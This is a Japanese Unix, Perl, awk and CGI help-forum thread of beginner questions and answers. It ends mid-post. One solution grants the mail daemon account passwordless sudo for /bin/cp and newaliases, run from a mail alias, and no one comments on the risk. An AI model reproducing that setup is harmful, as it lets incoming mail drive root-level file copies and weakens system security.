初めまして。初めてなのに、こんな事を書くのはあつかましいとも思うんですけど、どうにもならないのでフ゜ロク゛ラムを教えて欲しいんです。 実は、課題がでたんですけど分からないので。 内容ですが Cのフ゜ロク゛ラムファイル(sourse.c)の英小文字をすべて英大文字に変換し、他のファイル(trans.c)に書き出す。 と言う物です。 それで、 #include <stdio.h> #include <stdlib.h> main(int argc, chr*argv[]) { int i; FILE *fin; char ss[256]; if(fin=fopen("sourse","r") == NULL){ printf("オーフ゜ン出来ない.\n"); exit(1); } char( までは出来ました。それから先が全くわかりませんので、宜しくお願いします! |
|
>>2373 68user >その POP3 サーバのバグ その通りです。 しかも、今回の件には、まるで関係ない話みたいですね。失礼しました。 >>2377 ARGUN >Cのフ゜ロク゛ラムファイル(sourse.c)の英小文字をすべて英大文字に変換し、他のファイル(trans.c)に書き出す。 ならば、 cat sourse.c | tr a-z A-Z > trans.c で良いのでは? |
|
>>2376 わたなべ > 試してみましたが、状況は変わりませんでした。 ほほぅ、そうですか。それは困りましたね。 > qmailだそうです。 qmail 付属の qmail-pop3d かな? djb モノがそんな挙動を するのはあまり考えにくいですが、telnet ではできている のですから、怪しいのは改行コードです。 現在は sysread で読んでいるのですから、受け取ったデータは 即座に表示されるはずです。ということは、何も表示されない= 送ったリクエストが正しく解釈されていないということなので、 print SOCKET "LIST\r\n"; を print SOCKET "LIST\n"; にしてみたり、いろいろ試してみて下さい。 どうにもならなかったら、試したスクリプトを見せて下さい。 >>2377 ARGUN > Cのフ゜ロク゛ラムファイル(sourse.c)の英小文字をすべて英大文字に変換し、 > 他のファイル(trans.c)に書き出す。 まずは、sourse.c の内容を trans.c にコピーするところから やってみては。 |
|
>>2364 わたなべ > LISTので止まっているようです。 うちのサーバが qmail + vpopmail だったのでテストしてみたところ 同様の現象が再現しました。 うちの場合 print SOCKET "LIST\r\n"; の直前の行に sleep 1; を挿入したらうまく動きましたので 試してみてはいかかでしょう。 |
|
>>2380わたなべ /tkさんのアドバイスどおりに sleep 1; を入れたら無事に動きました。 本当に有り難うございました。 大変お騒がせしましたが、これで落ち着いて眠れます。 今後ともよろしく御願いします。 |
|
68userさん。Kuwさん。有難うございます。 でも、長く入院してたせいで冗談抜きで全く分からないんです。 コピーってどうやるんですか? 甘えだとは思うのですが、迷惑でしょうがプログラム載せて貰いたいのですがおねがいします。聞けるような仲間がいないので。 |
|
>>2382 ARGUN > プログラム載せて貰いたい --- a2A.c ここから --- main () { system("tr a-z A-Z < sourse.c > trans.c"); } --- a2A.c ここまで --- a2A.c をコンパイルしてできた実行ファイルを、 sourse.c と同じディレクトリにコピーして実行してみてください。 運が良ければ、お望みの trans.c が作成されます。 とりあえず、課題はこれで良いとして、本気でプログラムの勉強を したいのならば、68user さんのアドバイスを参考にがんばってください。 あとは、 >>2230 68user > - 課題だからといって、問題をそのまま掲示板に書き込んでも反感を買うだけ、 > ということを書き込む前に推測できるようになる。 > - 仮に課題だとしても、そうは見えないようにうまくカムフラージュ > できるような文章力を身につける。努力しているという姿勢を > アピールする。 という金言も参考にされると良いでしょう。 |
|
>>2382 ARGUN google で「C言語 ファイル コピー」などと検索すれば、 サンプルプログラムなんてたくさん見付かります。 「C言語 小文字」だってたくさん見付かります。 http://pc.2ch.net/test/read.cgi/tech/1007902384/l50 で質問するのもよいでしょう。 ここで回答をもらえることを期待するよりもそっちの方が早いです。 >>2380 /tk > sleep 1; うーむ、改行コードは大外しでしたか。ということはその POP サーバは リクエストを 1行だけ読んでいるのではなく、select か何かでバッファに たまっているリクエストを全て解釈しようとしていた、ということですかね? 本来 USER 送って +OK を受け取って、PASS 送って +OK を受け取って、その後 LIST を送らねばならないところを、一気に USER、PASS、LIST を送って、その後 リプライを受け取るという手抜きをしていたからまずかった…と。 |
|
こんにちは。 環境は OSはSolaris 2.6、printerはEPSON LP8200PS2(PSプリンタ)です。 質問は、 lpコマンドで印刷用紙のサイズを指定したいのです。 HELPなどを見てもそれらしきoptionがないのですが、用紙サイズを A4とかB4とかに任意に設定するoptionはありませんか? よろしくおねがいします |
|
はじめまして。最近cgiの勉強をはじめたんですが、なかなかうまくいきま せん。 さっそく質問ですがローカルでcgiの動かし方がわからないんです。一通り 関連サイトを回ってみたのですがどうしても駄目なんです。例えば hello-worldを実行すると #!C:/Perl/bin/perl print "Content-type: text/html\n\n; print ""; print "Hello world.; print "; こうなってしまうんです。プロバイダがcgiの使用を許可してないので それが原因なのでしょうか?もしそうならなにか方法を教えてください。 よろしくお願いします。 |
|
ちなみに環境は windows98,internetexplorer5,プロバイダはocnです。 よろしくお願いします |
|
>>2386 cgi超初心者 >プロバイダがcgiの使用を許可してない のは全く関係ありませんので安心してください。 ローカルでCGIの動作確認をする方法を初心者向けに説明したサイトを紹介しておきます。 http://members.tripod.com/~tyanko/s_mokuji.html |
|
>>2385 hiro lp -f で できませんでしたっけ。 |
|
つかぬ事をお伺いしますが、perlで <+ でファイルオープン時に、開こうとする ファイルが存在しないとエラーとなりますが、以下の様な処理をしました。 が、どう見てもカッコ悪い(笑)のでこんなケースにはどんな処理をしているか お聞きしたいのですが・・・ if(!-e $dat_file){# 存在しない時に作成 if(!open(DAT, ">$dat_file")) { &error('オープンエラー', "データファイルの生成に失敗しました。[$dat_file]");} close(DAT); } #改めて開きなおし if(!open(DAT, "+<$dat_file")) { &error('オープンエラー', "データファイルのオープンに失敗しました。(1)");} while(<DAT>){ chomp; push(@record, $_); } |
|
>>2390 スナフキン open(DAT, "+<$dat_file") || open(DAT "+>$dat_file") || &error('..'); while(<DAT>){ .. } ってのはどうでしょうね。 あと、perlopentut(1) に参考になることが書いてあるかも (書いてないかも) しれません。 |
|
ウチのマシンの perl はバージョンが古く(5.004_04)なので perlopentut の情報は見つけられませんでした。 しかしキーワードを検索するといろいろと情報を得る事が出来ました。 if(!open〜 は自分なりの書式なので良く使っていましたが、perlで 杓子定規に覚える事にはあまり意味が無いですね(笑) いままで使った事の無い sysopen もいろいろ試してみます。 的確なキーワードありがとうございます。 参考になったURL http://www.wingworld.co.jp/forum/cgi/messages/1931.html う〜んバージョンを新しくしなければ・・・ |
|
>>2384 68user > select か何かでバッファに たまっているリクエストを > 全て解釈しようとしていた、ということですかね? この辺の仕様(というか実態)は知りませんが サーバにどのようなリクエストが実際に渡ったのかを 調べるのが、原因究明の早道となるような気がします。 # 実際どのようにすれば, それを調べられるかは分かっていません。 今回の件に関しては, なんとなく > 一気に USER、PASS、LIST を送って、その後 リプライを受け取る のが原因かな。 と特に根拠も無くアタリをつけてテストをしました。 別に sleep である必要は全然無いのですが 個別にリプライを受けて -ERR だったら再入力な スクリプトを書くの面倒だったので… (あと環境が Windows でしたので) >>2390 スナフキン > こんなケースにはどんな処理をしているか 実際にファイルが存在していないのですから オープンエラーで困る事は無いのだし むしろエラーになってくれなくては困るという 考え方をしています。 …↑ゴミレスですね。すみません。 |
|
UNIX プログラミング FAQが以下に移転しています。 http://www.adl.nii.ac.jp/~moro/unix-programmer/faq-j_toc.html http://www.adl.nii.ac.jp/~moro/ 暫定っぽいですが(^^; |
|
Cクラス(HP UNIX版)ハードDiskをBクラス使用するとき何か 設定必要でしょうか ? 教えって下さい。 |
|
access.logは下記のようなもの。$1はエポックタイム (1970/1/1 00:00:00からの経過秒数)で$3はアクセスした端末のIP。 1009379443.542 20 192.168.16.17 TCP_HIT/200 1694 GET http://www.al4a.com/images/911.gif - NONE/- image/gif 1009379443.604 24 192.168.16.17 TCP_HIT/200 10159 GET http://www.al4a.com/honor.gif - NONE/- image/gif 1009379444.170 11683 192.168.16.17 TCP_REFRESH_HIT/200 59687 GET http://www.al4a.com/links.html - DIRECT/www.al4a.com text/html 1009379446.523 2979 192.168.16.17 TCP_HIT/000 11027 GET http://www.al4a.com/images/al4av2.jpg - NONE/- - 1009379446.526 1472 192.168.16.17 TCP_MISS/000 0 GET http://counter7.tracker.com/c5/id/0/104406 - DIRECT/counter7.tracker.com - 1009379447.026 63 192.168.16.17 TCP_HIT/200 15976 GET http://www.al4a.com/banners/gf1.gif - NONE/- image/gif 1009379447.364 16 192.168.16.17 TCP_HIT/200 10159 GET http://www.al4a.com/honor.gif - NONE/- image/gif 1009379448.331 967 192.168.16.17 TCP_MISS/200 9626 GET http://counter7.tracker.com/c5/id/0/104406 - DIRECT/counter7.tracker.com image/gif 1009379449.997 1504 192.168.16.17 TCP_HIT/200 20456 GET http://www.pornleo.com/banner/pussy10-29.gif - NONE/- image/gif 1009379450.256 3056 192.168.16.17 TCP_HIT/200 15679 GET http://www.al4a.com/images/al4av2.jpg - NONE/- image/jpeg 1009379453.262 148 192.168.16.17 TCP_HIT/200 7049 GET http://www.al4a.com/banners/fc1.jpg - NONE/- image/jpeg 1009379453.301 38 192.168.16.17 TCP_HIT/200 9328 GET http://www.al4a.com/banners/am1.gif - NONE/- image/gif 1009379454.056 1963 192.168.16.17 TCP_HIT/200 21921 GET http://al4a.free6.com/free6.gif - NONE/- image/gif これを集計して date time user数 ---------------------- 2001/12/28 00:00 0 2001/12/28 00:30 0 2001/12/28 01:00 5 2001/12/28 01:30 6 のようにしたいのです。awkファイルは3つあり、それをshellに記述して 一括処理しようとしています。 #syukei.sh #!/bin/sh ./syukei1.awk access.log|./syukei2.awk|./syukei3.awk > file #syukei1.awk #!/bin/gawk -f { hour=strftime("%H",$1);minute=strftime("%M",$1);second=strftime("%S",$1) base=$1-(hour*3600+minute*60+second) for(i=1;i<=48;i++){ if((base+1800*(i-1) <= $1) && ($1 < base+1800*i)){ print strftime("%Y/%m/%d %H:%M",base+1800*(i-1)),$3,1 } } } #syukei2.awk #!/bin/gawk -f { sum[$2,$3] += $4 } END { for(item in sum){ split(item, t, SUBSEP ); printf("%s %s %s %d\n",$1,t[1],t[2],sum[item]); } } #suykei3.awk #!/bin/gawk -f { if(length($2) > 0){ kazu[$2] ++; } } END{ for(i in kazu){ print $1,i,kazu[i] } } といった感じです。syukei1.awkで 2001/12/28 00:00 192.168.1.2 1 2001/12/28 00:00 192.168.1.1 1(とりあえずエポックタイムを現在時刻に変換し、秒の項はprintしない。あとはIPaddressを取る) のように加工します。(最後の1は捏造したもの。後々この数をカウントするので) syukei2.awkで↑の$4を集計。 2001/12/28 00:00 192.168.1.2 5 2001/12/28 00:00 192.168.1.1 6 : 2001/12/28 00:30 192.168.1.1 2 2001/12/28 00:30 192.168.1.2 4 のように加工します。(userごとに30分刻みで何回アクセスしたか) 最後にsyukei3.awkで↑の$3を集計。 2001/12/28 00:00 2 2001/12/28 00:30 3 のようにdate time user数という形で出力したいんです。 ただ、ここで今問題になっているのが、例えば2001/12/28 01:00〜2001/12/28 01:30の間に一度もアクセスがなかった場合、 その行が表示されません。アクセスがない場合は2001/12/28 01:00 0 0のように表示したいのですが、 どのようにすればいいでしょうか。また、3つファイルがあるんですが、これを一まとめにすることって可能なんでしょうか。 長くなりましたが、ご教授宜しくお願いします。 |
|
あけましておめでとうございます。 今年もよろしくお願いします。 >>2396 hogehoge さん:はじめまして cronで30分に1回httpを叩くクライアントを作っておいて、 そいつ1回しかアクセスしなかったら0アクセス、 そいつも含めてn回アクセスがあったらn-1アクセスではだめですかねー。 |
|
あ…、明けましておめでとうございます。 ふくしさんはじめましてです。 今まではcronを使って30分ごとに集計をとる方法でした。 でも、処理に時間がやたらとかかってしまいまして。 それが1日48回もあるかと思ったら…。 それでプログラムの改善と一括処理に切り替えることにしたんですが。 どうにかならないもんですかね…。ふぅ。 |
|
>>2398 hogehoge さん:Perl ですいません。こんなんでできそうです。 要は、 ファイルの各レコードについて、 0:00〜0:30、0:30〜1:00、1:00〜1:30、、の各ゾーンに入っているか調べ、 そのゾーンに入っていたら ゾーン、IP アドレスをキーに持つ2次元ハッシュの値を1にし、 全件調べた後に各ゾーンごとにいくつ IP がたまっているかを出力しています。 ろくにテストしていませんがバグっていたらすみません。 #! perl -w use Time::Local; # timelocal 関数を使うために必要なモジュールの宣言 (undef,undef, undef, $mday, $mon, $year, undef, undef, undef) = localtime(time); # 今日が何日か $step = 30 * 60; # 30分刻み $next = timelocal(0, 0, 0, $mday, $mon, $year); # 今日の0時0分0秒の時刻(epoch からの秒数) $start = $next - 60 * 60 * 24; # 昨日の0時0分0秒の時刻 %result = (); while(<DATA>) { ($now, undef, $ip) = split; for ($from = $start; $from < $next; $from += $step) { # $from は計算開始の時刻 $to = $from + $step; # $to は計算終了の時刻 if ($from <= $now and $now < $to) { $result{$from}{$ip} = 1; } } } for ($from = $start; $from < $next; $from += $step) { $num = keys %{$result{$from}}; ($sec, $min, $hour, $mday, $mon, $year) = localtime($from); $year += 1900; $mon++; print "$year/$mon/$mday $hour:$min:$sec $num\n"; } |
|
すいません、<DATA> でなくて <STDIN> にして標準入力を渡すか、 ファイルハンドルをオープンしてつかってください。 テスト用のコードを修正しわすれました。 |
|
ふくしさんありがとうございます。 Perlをそのまま使うことができないのがとても残念ですが、 まだawkも始めたばっかりで、アルゴリズムの解釈なんかが 多々間違っていると思われ、とても参考にさせて頂きたいと思います。 なんとか、awkに変換、反映させてみたいと思います。 とりあえず、このスクリプトがうまくいったら、次は Perlをやってみたいと思っています。ありがとうございました。 また何かあったら教えて下さいね。 |
|
>>2401 hogehoge see http://pc.2ch.net/test/read.cgi/unix/1000303370/130-132n and http://x68000.startshop.co.jp/~68user/cgi-bin/wwwboard.cgi?howtouse |
|
いつもお世話になります。 CGI.pm でファイルのアップロードをするときの質問です。 html で <html> <body> <pre> アップロードするファイルを指定してください。 ファイル名は半角英数字で、空白を含まないでください。 </pre> <form action="fileup.cgi" method="POST" ENCTYPE="multipart/form-data"> ファイル名:<input type="file" name="fname"><br> <hr> <input type="submit" value="OK"> </form> </body> </html> というフォームを作って、 #! perl -w # fileup.cgi use CGI; my($form) = new CGI; print $form->header("text/html"); my($filename) = $form->param('fname'); $filename =~ m|([^\\]+)$|; # Windows のフルパスから基底ファイル名を取り出す $newfile = "./gooddir/$1"; # gooddir の下に入れる。 open (OUTFILE,">$newfile") or die "Can't make serverside file because $!\n"; while ($bytesread = read($filename,$buffer,1024)) { print OUTFILE $buffer; } print <<EOD; <pre> アップロードが終了しました。ファイル「$filename」は $newfile としてアップロードされました。 </pre> EOD という CGI を呼び出すとうまくいくのですが、 同じ CGI を、呼び出し側のフォームも CGI.pm で作って #! perl -w use CGI; use strict; my $title = 'ファイルをアップロードしてください'; my $q = new CGI; print $q->header(); print $q->start_html(); print $q->start_form(-method=>'form', -action=>'./fileup2.cgi', -enqtype=>'multipart/form-data'); print $q->h2($title); print '変換するファイルを指定し、[実行] をクリックしてください。<br>', '(空白のあるファイル名、日本語のファイル名は避けてください)<br>', $q->filefield(-name=>"fname"), '<br>'x3; print $q->submit(-name=>'submit',-value=>'実行'); print $q->endform; print $q->end_html(); とやると、空ファイルが作成されるだけでうまくアップロードできません。 エラーログには何も出ません。 なにがおかしいのでしょうか? 何かおわかりでしたらご教示願います。 |
|
ん〜、 >>2403 ふくし > -method=>'form' post? > -enqtype=>'multipart/form-data' enctype? とか? |
|
>>2404 68user さん、本年もよろしくお願いします。 ん〜、ほんとにそれだけのことでした。;;; 恥の掻き初め(寒)ですね。 最初、-enctype を指定していなかったんです。 そうすると start_form がデフォルトで application/x-www-form-urlencoded を取るので 失敗していたようです。 (その場合 start_multipart_form を使えばデフォルトが multipart/form-data になるようですね) method も post がデフォルトなので書いていなかったのですが、 html と最大限あわせようと思って質問の直前に書いて、 それで失敗していたのでした。 ハッシュによる名前付け編集の渡しは、 存在しないキーを渡しても無視されるのはなんかわかりますけど、 存在するキーに定義されてない値を渡しても怒られないのは ちょっと CGI.pm が不便だなあと思いました。 いずれにしても、これらのケースでエラーを出して欲しいです。 (出す方法あったりして、、) とまれ、ありがとうございました&すいませんでした。 本年もよろしくです。 |
|
proxy サーバに接続後、 strcpy(request, "CONNECT www2.ggn.net:443 HTTP/1.1\r\n" "Host: www2.ggn.net\r\n" "\r\n"); write(s, request, strlen(request)); とする。そしたら proxy サーバが HTTP/1.0 200 Connection established(CRLF) (CRLF) などと返してくるので、 read_size = read(s, buf, BUF_LEN); write(1, buf, read_size); でレスポンスを読み取る (↑これは手抜き)。その後は SSL_load_error_strings(); して、普通におはなし。 >>2160 Nira では ERR_load_crypto_strings(); ERR_load_SSL_strings(); OpenSSL_add_all_algorithms(); を追加する必要がある、ということでしたが、FreeBSD 4.4-RELEASE では 付けても付けなくてもうまくいきました。 お仕事では、Windows+Borland C++ Builder 5.0 でやらなきゃ いけないのが欝です (C++ 知らんし、Windows でプログラムを 組んだことがないし)。HTTP 用モジュールは用意してあるみたい だけれど、使い方がさっぱりわからんなぁ。 >>2405 ふくし > 存在するキーに定義されてない値を渡しても怒られないのは > ちょっと CGI.pm が不便だなあと思いました。 perl 5.005_03 付属の CGI.pm を見る限りでは、エラー検出する 方法はないようですね。 > 本年もよろしくです。 こちらこそよろしくお願いします。 |
|
>>2406 68user う、一行目が欠けてしまって意味不明に。 一行目は 「お仕事で proxy サーバ経由の SSL 通信を行う必要があったので、メモメモ。」 でした。 |
|
UNIXを勉強したい人ってはじめは何をすれば良いか教えてください! ほんとにくだらない質問をしてすいませんが、おねがいします!! |
|
>>2394 Ka23 > UNIX プログラミング FAQが以下に移転しています。 遅くなりましたが反映しました。ありがとうございました。 >>2408 ぶちお > UNIXを勉強したい人ってはじめは何をすれば良いか教えてください! 本屋に行ってインストール記事の載っている雑誌か、 インストール本を買うか、あるいは Turbo Linux とかの 商品 (1万程度) を買うのがいいんじゃないですかね。 その後はネット環境を整えたり、プログラミングしたり 好きなことをすると。 |
|
68userさんありがとうございました!!助かりました!また質問するときがあると思いますがそのときはよろしくおねがいします!! |
|
こんにちは。 私はWindowsにActivePerlを入れてCGIやっています。 今回、PPMを使おうと思って、DOS窓でppmと入力したら、 下のようなメッセージが出てきました。 Failed to load PPM_DAT file Can't use an undefined value as a SCALAR reference at C:/Perl/site/lib/PPM.pm line 1586, <DATA> line 36. なんかエラーが出てるようなのですが、PPM.pmというのはいじった 覚えがないし、他のファイルもいじった覚えはなし、上のエラーが 何を意味するのかよく分からないし、Googleなどで検索かけてもみ たのですが、同じ様な事例は見つからず困っています。 どなたか分かる方いましたら、どうすればいいのか教えてください。 お願いします。 Win98,ActivePerl5.6.0(Binary build 623) |
|
>>2411 ぶぶ さん、こんばんは。 めったに ActivePerl は使わないのですぐにはわからないんですが 手もとの環境では C:/Perl/site/lib/PPM.pm の 1586 行目近傍は以下のようになっていました。 1584:if (defined($location)) { 1585: if ($location =~ /[^\/]$/) { $location .= "/"; } 1586: $package = $location . $package . ".ppd"; 1587:} もしぶぶさんの環境でも同じであれば、 とりあえず 1586 行目の直前に warn "location: $location package: $package\n"; とでも入れてみて、 $location と $package の値を見てみたらいかがでしょうか。 でも、うちの環境(同じ Windows98)で ppm と入れたら その現象が再現できなかったので、 再インストールでもいいかなという気もしますが。 |
|
>>2412 ふくし 自己レスれす。(寒 >とりあえず 1586 行目の直前に >warn "location: $location package: $package\n"; これ、自分でもやってみましたけど、 C:\> ppm と打っただけではココは通らないみたいでした。 ぶぶさん、 PPM.pm の 1586 行目はぼくと同じですか? (バージョン、レベルは同じなんだけどなァ) あと、ほんとに C:\> ppm と打っただけで怒られます? それともなんか実のあること(パッケージのインストールとか)を やろうとしてます? 後者の場合は入れたコマンドを教えてください。 |
|
たびたびすいません!!今学校でパソコン同士のデータのやり取りを、Cプログラムでなんとかやろうとしているのですがわからんのですー!先生はfopenとか使えばできるだろー!!というのですが本を見てもかいてないようなかんじで(_m_!)なにしろ未熟者でわからんのですー!よろしければおしえてもらえますか? |
|
>>2414 ぶちお > 今学校でパソコン同士のデータのやり取りを、Cプログラムで > なんとかやろうとしているのですがわからんのですー! さて困ったものですね。あまりにもひどい質問の仕方です。 http://x68000.startshop.co.jp/~68user/cgi-bin/wwwboard.cgi?howtouse は読んでいただけましたか? パソコンって何ですか? UNIX ですか? Windows ですか? それ以外ですか? 具体的な OS 名とそのバージョンは? データのやり取りって具体的に何をしようとしていますか? フロッピーからデータを読み込むことですか? LAN 経由で ファイルを読むことですか? RS-232C 経由でデータを やりとりすることですか? 今後、こういう調子の質問を続けるつもりでしたら、僕は お相手を致しかねますのでよろしく。 |
|
ふくしさん、お返事ありがとうございます。 PPM.pmの1586行目付近は、下のようになっていました。 1577:unless ($PPDfile && $$PPDfile) { 1578: foreach (keys %repositories) { 1579: my $location = $repositories{$_}{'LOCATION'}; 1580: if ($location =~ /[^\/]$/) { $location .= "/"; } 1581: $$PPDfile = $location . $package . ".ppd"; 1582: return %PPD if (%PPD = getPPDfile('package' => $$PPDfile, 1583: 'parsertype' => $parsertype, 'PPDfile' => \$$PPDfile)); 1584: undef $$PPDfile; 1585: } 1586: return unless $$PPDfile; 1587:} ちょっと違うみたいですよね。こちらの方が行が短いのでしょうか。 ちなみにDOS窓に入力したのは、 C:\>ppm これだけです。 PPM のシェルでパッケージのinstallをしようと思っているのですが、 とりあえずPPMを起動するため、入力しているのはppmという文字だけ です。そして、ppmとだけ入力すると、例のエラーが出るのです。 少ない情報ですが、何か分かりますでしょうか? やはりActivePerlを入れ直してみた方が良いのでしょうか? よろしくお願いします。 |
|
>>2416 ぶぶ 先ほど、Windows2000 に ActivePerl を入れる必要が あったので試してみたのですが、ppm とだけ 打つと PPM interactive shell ... と出てエラーは出ませんでした。 インストールしたのは最新の build 631 (perl-5.6.1) です。 再インストールは悪くない選択肢ではないかと思います。 |
|
>>2416 ぶぶ さん: いま会社で ActivePerl の環境がないのでテストできませんが、 >return unless $$PPDfile; ここで >>Can't use an undefined value as a SCALAR reference (スカラーの参照として、未定義値は使えません) ですよね。 $$PPDFile というのは、 $PPDFile というスカラー変数に スカラーへの参照(別のモノを指し示すもの)が入っていると考えて、 そのスカラーの値を返そうとしているわけですが、 そのとき $$PPDFile に undef が入っているのでくだんのエラーが 出ています。 たぶん $PPDFile という変数にもっと上の方でスカラーへの参照を セットすることを期待して動いていたのですが、 その期待が裏切られているようです。 (その上でいろいろしているのも、$$PPDFiles つまり $PPDFiles が指し示すスカラーメモリに対してで、 $PPDFiles にどのような論理で何が入っているかは 下のコードからは不明です) ・・・という風にさかのぼって研究しても勉強になると思いますが、 (意外ともうちょっとでパキッとわかったりして) いずれにせよこんなアンフレンドリーなメッセージが出て中断するのは 作者の意図と違う動作なので、再インストールでもいいと思います。 |
|
ふくしさん、68userさん、お返事ありがとうございます。 build631をインストールしてみましたら、何の問題もなくPPMの シェルが起動しました。 インストールしてから、PPM.pmを覗いてみると、1586付近は、 ふくしさんが書かれたものと同じになっていました。 前に入れていたものがおかしかったのでしょうか。入っている pmファイルがおかしいとは夢にも思わなかったので再インスト ールを試さずに質問してしまってごめんなさい。 これでやっとパッケージのinstallができます。ありがとうご ざいました。 PS. ふくしさん、エラーに関する説明ありがとうございます。 エラーの出る仕組みがよく分かりました。 |
|
ボーランドC++コンパイラーでC言語のCGIを作ろうと思っているのですがどうしたら良いのでしょうか? bcc32 -o CGI名 ソース名 でいけるのでしょうか? よろしくお願いします |
|
>>2420 初心者 > …でいけるのでしょうか? 試してみた結果どうなりましたか? |
|
メール受信時に"newaliases"コマンドを実行したいのですが、上手くいきません。 方法としては、特定のアドレスにメールが届いた時点でシェルスクリプトを実行するようエイリアスファイルにて設定しており、シェルスクリプトにはsudoで"newaliases"を実行するよう書いています。 また、sudoersにて"newaliases"コマンドをroot権限で実行できるようにも 設定しています。 "newaliases"コマンドではなく、他のコピーコマンド(cp)などは動作するのですが、"newaliases"コマンドは動作しません。 同じような方法を取られている方がいらっしゃいましたら 設定方法を教えていただけませんでしょうか。 宜しくお願いいたします。 |
|
申し訳ありません。環境を全く書いていませんでした。 RedHat Linux7.1.J、Sendmail8.11.5 です。 宜しくお願いします。 本文↓ メール受信時に"newaliases"コマンドを実行したいのですが、上手くいきません。 方法としては、特定のアドレスにメールが届いた時点でシェルスクリプトを実行するようエイリアスファイルにて設定しており、シェルスクリプトにはsudoで"newaliases"を実行するよう書いています。 また、sudoersにて"newaliases"コマンドをroot権限で実行できるようにも 設定しています。 "newaliases"コマンドではなく、他のコピーコマンド(cp)などは動作するのですが、"newaliases"コマンドは動作しません。 |
|
>>2423 橋本 どのユーザが「newaliases を root 権限で実行できる」ような 設定になっていますか? また、sudo のログには何と記録されていますか? |
|
>>2424 68user だけでは情報が不十分かな…。 sudoers に書いた内容と、「特定のメールアドレスにメールが 届いたらコマンドを実行する」というのをどうやって実現して いるか (/etc/aliases とか /home/foo/.forward とか) も 書いてください。 |
|
>>2424 68user newaliasesをroot権限で実行できるユーザは"deamon"に設定しています。 理由は、メール受信時に実行されるシェルスクリプトが一体どのユーザで 実行されるか分からなかったため、シェルスクリプト内にメールを送信 するコマンドも記述したところ、"deamon"という送信者名でメールを送信 したため、deamonでシェルスクリプトは実行されると思い設定しました。 ですが、実際はdeamonが実行しているようではないようです。 >>2423 にてcpコマンドなど他のコマンドは動作する。 と記述しましたが、私の勘違いで動作していませんでした。 申し訳ありません。 また全てのユーザに"newaliases"、"cp"コマンドをroot権限で 実行できるよう設定したところ、正常に動作しました。 ですが、全てのユーザに許可してしまうわけにはいかないので、 どうにかして特定のユーザにのみ許可して動作するようにしたいのですが ・・・。 以下設定ログ・設定内容です。 ●メール受信時のログ↓ Jan 21 18:20:16 test sudo(pam_unix)[19079]: authentication failure; logname= uid=0 euid=0 tty= ruse r= rhost= user=daemon Jan 21 18:20:23 test sudo(pam_unix)[19079]: 2 more authentication failures; logname= uid=0 euid=0 t ty= ruser= rhost= user=daemon Jan 21 18:20:23 test sudo[19079]: daemon : 3 incorrect password attempts ; TTY=unknown ; PWD=/ ; USER=root ; COMMAND=/usr/bin/newaliases ●sudoersに追加↓ deamon ALL= NOPASSWD: /usr/bin/newaliases deamon ALL= NOPASSWD: /bin/cp ●メール受信時に動作するシェルスクリプト↓ #!/bin/sh sudo cp /etc/mail/123.txt /etc/mail/456.txt sudo newaliases mail -s test mailuser@****.co.jp < /etc/mail/456.txt exit 長文で申し訳ありませんが宜しくお願いします。 |
|
>>2425 68user 「特定のメールアドレスにメールが届いたらコマンドを実行する」は、 (/etc/mail/aliases)に mailuser :"|/etc/mail/mail-program" と記述しています。 よろしくお願いします。 |
|
>>2427 橋本 > ●メール受信時に動作するシェルスクリプト で /usr/bin/id > /tmp/id.result などとすれば、どの権限で 動いているのかがわかります。 一般的には、/etc/mail/aliases に mailuser :"|/etc/mail/mail-program" とあるなら、/etc/mail/mail-program というファイルの権限で動きます。 例えば % ls -l /etc/mail/mail-program -rw-r--r-- 1 hoge wheel 46632 Sep 19 02:30 /etc/mail/mail-program ならば hoge 権限で動く、ということです。 |
|
>>2428 ですが、 mail-programの権限は以下のようになっています。↓ -rwxr-xr-x 1 root root 165 1・21 19:55 mail-program また /usr/bin/id > /tmp/id.resutl の結果は以下になりました。↓ uid=2(daemon) gid=2(daemon) groups=2(daemon),1(bin),4(adm),7(lp) やはり"deamon"で実行されているようです。sudoresにも正しく設定して いるつもりなのですが、シェルスクリプトは動作しません。 deamonに関してはsudoが使えないのでしょうか。 何かよい方法ありましたら教えてください。 宜しくお願いします。 |
|
>>2429 橋本 …ふむ。 deamon でなく daemon です。sudoers を修正してみて下さい。 |
|
>>2429 橋本 どうもありがとうございます。 deamonではなく"daemon" に修正したところ上手くいきました! とてもお恥ずかしいですが、すごくうれしかったです。 ありがとうございました。 |
|
こんにちは。ヒサブリに質問です。 下のような CGI で euc、sjis の文字列をブラウザに表示します。 #! perl -w # ~/public_html/cgi-bin/moji.cgi use CGI; use Jcode; my $q = CGI->new; print $q->header(); print $q->start_html(); print $q->start_form(-action=>'./answer.cgi'); $str_euc = 'こんにちは'; $str_sjis = $str_euc; Jcode::convert(\$str_sjis, 'euc', 'sjis'); print "euc: $str_euc <br>"; print "sjis: $str_sjis <br>"; print "unpacked euc: ".unpack("H10", $str_euc)."<br>"; print "unpacked sjis: ".unpack("H10", $str_sjis)."<br>"; print "eq:".($str_euc eq $str_sjis)."<br>"; コード自体は EUC で書きました。 ブラウザの設定を EUC にすると、 当然のように、EUC 部分は正しく、sjis 部分は文字化けになります。 (本当は sjis 部分は半角カナになりました) (http://www/~fukushi/cgi-bin/moji.cgiの表示) euc: こんにちは sjis: 、ウ、・ヲヒ、チ、マ unpacked euc: a4b3a4f3a4 unpacked sjis: 8ea48eb38e eq: これ、ブラウザの設定を sjis にすると、 euc も sjis も文字化けになります。 これはなぜでしょう? (http://www/~fukushi/cgi-bin/moji.cgiの表示) euc: 、ウ、・ヲヒ、チ、マ sjis: 痔宍痔・ヲ射痔蔀痔煮 unpacked euc: a4b3a4f3a4 unpacked sjis: 8ea48eb38e eq: で、下のように出力する文字列を URL から取得します。 #! perl -w # ~/public_html/cgi-bin/moji.cgi use CGI; use Jcode; my $q = CGI->new; print $q->header(); print $q->start_html(); print $q->start_form(-action=>'./answer.cgi'); $str_euc = $q->url_param('greeting'); $str_sjis = $str_euc; Jcode::convert(\$str_sjis, 'euc', 'sjis'); print "euc: $str_euc <br>"; print "sjis: $str_sjis <br>"; print "unpacked euc: ".unpack("H10", $str_euc)."<br>"; print "unpacked sjis: ".unpack("H10", $str_sjis)."<br>"; print "eq:".($str_euc eq $str_sjis)."<br>"; こうすると、ブラウザの設定を euc にすると、 なんと、euc も sjis も正しく表示されます。 (http://www/~fukushi/cgi-bin/moji.cgi?greeting=こんにちは の表示) euc: こんにちは sjis: こんにちは unpacked euc: a4b3a4f3a4 unpacked sjis: 8ea48eb38e eq: ブラウザの表示を sjis にすると、euc 部のみ正しく表示されます。 (http://www/~fukushi/cgi-bin/moji.cgi?greeting=こんにちは の表示) (http://www/~fukushi/cgi-bin/moji.cgiの表示) euc: こんにちは sjis: 